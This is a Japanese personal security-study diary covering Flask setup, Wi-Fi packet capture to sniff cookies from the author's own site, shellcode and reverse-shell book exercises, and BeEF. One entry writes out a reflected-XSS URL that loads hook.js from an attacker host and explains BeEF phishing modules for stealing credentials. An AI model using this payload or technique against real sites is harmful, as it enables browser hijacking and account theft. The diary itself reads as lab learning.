akkietech’s diary

セキュリティ関連メインの自分用メモ書き。twitter: @akkietech

1/29 FlaskでBlueprint使う

■Blueprintが使ってみたい

Flask公式のチュートリアルではBlueprintが使われていたが
開発環境での例だったので、今回は自作の本番環境で
Blueprintが使いたいと思った

DBと連携するための下準備でもある
まさしくBluprint

・__init__.pyは変わらず使う
・Blueprintとなるファイルはviews.py
・initとviewsは同じフォルダに配置
 (viewsを1つ下のフォルダに置く方法ができなかった...)

__init__.py

from flask import Flask
app = Flask(__name__)

from . import views
app.register_blueprint(views.bp)

if __name__ == "__main__":
	app.run()

views.py

from flask import render_template, Blueprint

bp = Blueprint('bp', __name__)

@bp.route("/")
def index():
	return render_template('index.html')

すごい簡潔にやるとこんな感じ


例えばlogin、logoutの処理を定義するときに
redirect(url_for())を使う場合は、引数に渡すメソッド名に注意が必要

@bp.route("/logout/")
def logout():
	session.clear()
	return redirect(url_for('bp.index'))

またtemplatesフォルダ配下のhtmlファイルも同様

<h1>Top Page</h1>

<h2><a href="{{ url_for('bp.index') }}">Top</a></h2>
<h2><a href="{{ url_for('bp.logout') }}">Logout</a></h2>

initiファイルでやってたときは'index'として渡せばよかったけど
Bluprint使うとなると'bp.index'として渡す必要がある


デバッグ使いながらなんとかBlueprintを使った環境が完成
次はようやくDBとの連携に移れる

1/28 cookieをwiresharkで

flaskで作った簡易Webサイトでcookieを盗聴したい

wiresharkcookieを盗聴して、MITMを成功させたい

 

ということでパケットキャプチャの日でした。

 

しかし、WiresharkでのWiFi盗聴で苦戦

というか、ほぼこれしかできていない

 

とりあえず、ひたすらやったこと

 

WiresharkでWPAの鍵設定

 

Preference→Protocol→IEEE802.11

・「Enable decryption」にチェック

・「Decryption keys」をEdit

・key-typeを「wpa-pwd」を選択し、下記のように入力

 「pass:SSID

 

これでいけるらしい

てか若干いけてた

 

 

■パケットの取得

・Kali Linux側でwlan0にあたるものを選択

 もちろんモニター状態

 

・自分の無線ルーター以外のパケットも大量に取得されるので

 自分のssidでフィルタリング

 

 「wlan.addr == bssid」

 「wlan. bssid == bssid」

 「wlan.ssid == "ssid"」

 

この3つのどれかで絞れる

 

もしくは該当するパケットを一つ選択して

パケット詳細の中からMACアドレスに当たるものを右クリックし

「フィルタとして適用」を選べばフィルタの窓に入ってくれる

 

あとはクライアントのMACアドレスとかもフィルタに入れれば

数はもっと絞れる

 

これで自分の欲しいパケットが絞れる

 

■全く復号される気配がない

 

ssidとかでパケットを絞ってもそこそこの数が残る

 

そしてどれがhttpリクエストなのかも分からない

そしてそれは復号がされていなかったから

 

どうやらWPAの通信を復号するには

クライアントがWiFIに接続するタイミングからキャプチャする必要が

あるということを知った

 

それが「4 way handshake」なるもの

 

 

■そもそも4 way handshakeがキャプチャされていなかった

 

4 way handshakeは、wiresharkのprotocolでいう

「EAPOL」というprotocolでフィルタリングできる

 

そしてkali liunx側のwiresharkでeapolで絞った時に

多くても1つくらいしか取得できていなかった

 

ちなみにMacbook air側のwiresharkでは

見事に4つともeapolのパケットが取得されており、

httpリクエスト等のパケットが復号されていた

 

てかmacの方でもモニターモードにできること知らなかった

 

そしてkaliとmacで、同じタイミングでキャプチャを開始して

ipadwifi接続→webサイトアクセスの流れやってみると

明らかにkali側のキャプチャ数が少ないことに気が付いた

 

WiFIアダプターが原因じゃね?疑惑

 

kaliで無線LANをキャプチャするために使っているのが

Alfa AWUS036NEH

 

macmac無線LANカードでキャプチャしてたと思うんやけど

kaliのキャプチャ数が少ないのであれば下記のどっちかが原因なんじゃないかなと思った

 

・単純にアダプタの感度が良くない

・kaliに入っていたドライバが合っていない(?)

 

後者は一応、ドライバを再インストールしてみたけど

あんまり変わらんかった

 

結局アダプタ本体の感度が悪いが故に

キャプチャ数が十分に取れず

 

それが結局ハンドシェイクも十分にキャプチャできずに

復号ができていなかったのではないかなという

 

あくまで仮説でしかないが

そういう結論に至った

 

 

ということで、Baffaloのやつを新たに購入することにした

https://www.amazon.co.jp/gp/product/B002G9URGA/ref=ppx_yo_dt_b_asin_title_o00__o00_s00?ie=UTF8&psc=1

 

これで自分の仮説を確かめてみる

 

 

■まとめ

 

とはいえ

mac側とkali側のwiresharkを行ったり来たりして

ipadwifiをon/offにしたりして

復号されていないパケットの中身見たりして

復号方法とかAWUS036NEHのことググりまくったりして

ひたすら無線LANのパケットキャプチャに没頭した1日でした

 

おかげで4 way handshakeのこと少しだけ知ることができたし

もう少し良いwifiアダプタが手に入るかもしらん

 

新しい子機が届いたらもう一度kaliでのパケットキャプチャリベンジして

自作Webサイトのcookie盗聴を成功させたい

1/23 長いflaskの旅(約6時間)

今日はflask

 

やりたかったこと

・flaskをapacheで本番環境に

・簡単なページの作成(できれば動的ページまで) 

 

やったこと

 

■前半

環境設定で試行錯誤

 

・centos6の方でpythonページ動かせるようにした

・次にflaskを動かせるようにしようとした

・でもうまくいかなかった

 これは後々分かるんやけど、結局設定の変更を怠ったから

 

centos6では諦めて、どうせやるならと思ってサラピンのcentos7で

 思いっきり設定いじってやったろうと思った

 

・まず本番環境で動かすまでで参考にした日本語ページの

 設定まるまるコピペでなんとか動いてくれた

 

■中盤

本番環境開始できるも、Webページをいじるための

仕組みの理解やページの構成方法について苦戦

 

・リンクやったり他のパスでURL飛ばすのがわからず

 もう少しググって、見つけた英語ページのを更に丸々コピペ

 

・virtualホストありきでなんとかflask起動させれたが、

 未だにリンクやったりパスの違いの付け方がわからず

 

■後半

徐々にそれぞれのファイルやフォルダが持つ役割を把握してきて

flaskの理解とページ作成が加速した

 

・なんとかurl_forを駆使してリンクもつけれた

 <a href="{{ url_for('index') }}">Top</a>

 みたいな感じ

 url_forの引数に渡すのはpyファイルで作成したメソッド名

 

・入力フォームで名前を表示させる動的ページの作成もできた

 ここで時間かかった理由

  ・importにrequestを入れ忘れていた

  ・vimのタブをスペースと同じ感覚で使ってしまったので、

   それでスクリプトが処理されていなかった。

   でもそれによく気づけたと思う。

 

・最後にhtmlページのテンプレートの活用方法も作りながら気づき学んだ

 {% block content %}{% endblock %} は大変便利である

 あと各ページの頭に{% extends 'base.html' %}も入れ忘れないように

 ただあまりに便利すぎて、たまに仕組みに謎を感じてしまう

 

 

丸一晩かかったけどなんとかここまでたどり着けた

ここまでたどり着けると、徐々に楽しくなってくる

 

ちなみに最後に入力フォームにXSSやってみたけど

警告窓がでなかった

 

フレームワーク側で勝手にエスケーピングされてる仕様なのか

 

次にやりたいこと

・データベースとやりとりして、ログイン情報とか日記的なものとか

cookieの設定、あわよくばセッションの盗聴

 cookie情報はどこに保存されている?tmp?

 盗聴して「こんにちは名前」の部分のハックができるのか

 

・ちょっとCSSを変えてみたい(bootstrapとは?

Blueprintを使ってみる

1/22 コントロールハイジャッキングほぼ読了

とりあえず

デバッグするためにはコンパイル時に-gオプションが必須

 

gdbとターミナル実行時のアドレスの違いを確認するときは

 プロセスIDでのデバッグを使う

# ps -u root | grep bypass_server

# gdb -p [PID]

 

・どのプログラムにオプションをつけるべきで、つけないべきか

 気をつけないと想定の動きにならない

 (スタックプロテクターとかデバッグとか)

 

・正直今回は本に書いてある内容に惑わされたところもあった

 shellcodeの長さが違ったり

 

・あとアセンブリ作成時にこれも間違えた

 誤 echo "/bin/sh" | od -tx8z

 正 echo "/bin//sh" | od -tx8z

 

 たしかにリバースシェルとして動いてはいたけど

 これが原因でshellcodeの長さとかに影響が出てしまってた

 

とりあえず、なんとか、ほんまに文字通り試行錯誤した上で

夜勤前になんとかリバスシェルのペイロードが成功してよかった

 

多分こんなに時間かかるはずではなかったやろうけど

時間かかったことで基本的なコマンド操作にはだいぶ慣れた

 

あとはまぁ付録読んだらいいと思う

1/18 研修前の朝にTCPバインド

コンピュータハイジャッキング(7.4)の続き

この項は本書での核心部分に迫る内容だったと感じる

 

コード的なことは書かないが知ったこと、感じたことを列挙

 

まず

・ローカルホスト上のプログラムにペイロードを注入して

 シェルを起動させる

 

のと

 

・リモートからプログラムにペイロードを注入して

 リモートシェルを起動させる

 

全然違う!!

すっごい当たり前のことなんやけど、すごいスッキリした

 

 

前者:

ローカルのプログラムなのだからソケットを生成する必要がないので

シェルコードは単なる/bin/shを起動するだけのものになる

 

後者:

例えば例で作ったシリアル番号を送って成否を判断するやつ。

あれはただwrongかcorrectかを送ってくれるだけのもので

 

/bin/shを起動したところで、シェルに対する入出力の結果が

クライアントには返ってこない

プログラム側でシェルが開かれることになると思う

 

だからわざわざプログラム側でソケット開いて

クライアントを待ち受けて、netcatとかでシェルを実行するんやろな

 

だからペイロードのシェルコードの中には

/bin/shを起動するようなプログラムはなくて

ただクライアントソケットをstsin、stdout、stderrに

つなげている

 

これでnetcatでサーバに接続できれば

rootがダッシュできるようになるわけだ

 

なーーーーるほどーーー

1/16 Kali LinuxでBeef

なんかアセンブリとかflaskとか色々やろうとしてたけど

今日最終的に行き着いたのがBeef

 

Kali Linux「Beef」とは

XSS脆弱性があるWebサイトを標的にし、

アクセスしてきたユーザに対してさまざまなスクリプトの実行を可能とするツール

 

重要となるのがhook.js

 

例えば脆弱なサイトを標的としたリンクを作成する

hxxp://www.akkieworld.com/xss/xss_confirm.php?name=&url=%3Cscript+src%3Dhttp%3A%2F%2F192.168.179.44%3A3000%2Fhook.js%3E%3C%2Fscript%3E

 

urlのパラメータとしては下記のスクリプトが入っている

<script src=hxxp://192.168.179.44:3000/hook.js></script>

 

上記のリンクを踏んでしまうと、srcに入っているスクリプトが実行される

 

そしてhook.jsは、アクセスしてきたユーザのブラウザをゾンビ化させるスクリプト

(と、認識しているつもり...)

 

hook.jsを通じて攻撃側(192.168.179.44)は

様々なスクリプトをユーザ側のブラウザで実行できるようになる

 

kali linux本でも紹介されてたのが、入力フォームを表示させて

メールアドレスとパスワードの入力を促すスクリプト

 

Gmailとかfacebookとかリアルに見える入力フォームが使われていた

 

Social Engineeringのフォルダに入っている

・Pretty Theft

Google Phishing

とかがそう

 

どちらか選んでExecuteすると

スクリプト実行中のユーザのブラウザ上に入力フォームが出たりする

 

そして入力された情報は攻撃者側のBeefのツール上で確認することができる

これでアカウント情報の窃取が完了するわけだ

 

ソーシャルエンジニアリング系以外にもたくさんモジュールが用意されてるけど

いまいち使い方がわからないものばかり

 

あと、このhook.jsはユーザが別のページに飛んでしまうと効かなくなる

 

だから有効な間にcookieとるとか入力フォーム出して情報盗むとか

そんな使い方が妥当なのか

 

まぁ久しぶりにkali linuxのツールで遊べたから良かったな

 

余談:

転職サイト見てたけど、自分の持ってるセキュリティスキルとはって

考えた時に自信を持って答えられそうなものが一つもなかった

 

なんというか、全部満遍なく触れるようにしてきたつもりやったけど、

あまりに全部が「触れてみた」レベル止まりで

これは誰よりもできるっていうのがないことに気がついた

 

でも気がつけてよかった、何か絞るとするか

1/11 flaskやるにあたって

python3の仮想環境構築

# mkdir Py3_project

# python3 -m venv venv

=> Py3_projectにvenvフォルダが作成される

 

あとはアクティベイトするだけ

# . venv/bin/activate

 

アクティベイト解除は

# deactivate

 

■関数内関数(ファクトリ関数、クロージャ)

よく分からないけど、よく「the factory function」ってのが出てきたから

調べたらpython本に載ってた

 

関数の中で関数を定義できる

def test(number):

def add_num(a):

retrun a*2

return add_num(number)

test(3)

=> 6

 

 

チュートリアル実践

http://flask.pocoo.org/docs/1.0/tutorial/

 

なんか、書いてることわからないとこちょくちょくあったけど

かなり実践的な使い方を学べている気がする

 

python本でもflask触れられてたけど、ほんまに触りの部分だけで

発展的な内容はなかったから、ちょうどいいのがチュートリアルが見つかってよかった

 

ひたすら例にならって書くだけやったから学んだ内容と言えば

・__init__.pyでapplication factoryを作る

・なんかsqlite3と連携できている、schema.sqlに多分テーブルを作るクエリが書かれている

・ログインページを作るにあたって、Blueprintを使うのが良いらしい

・def register()とかdef login()とかがviewの名前にあたるらしい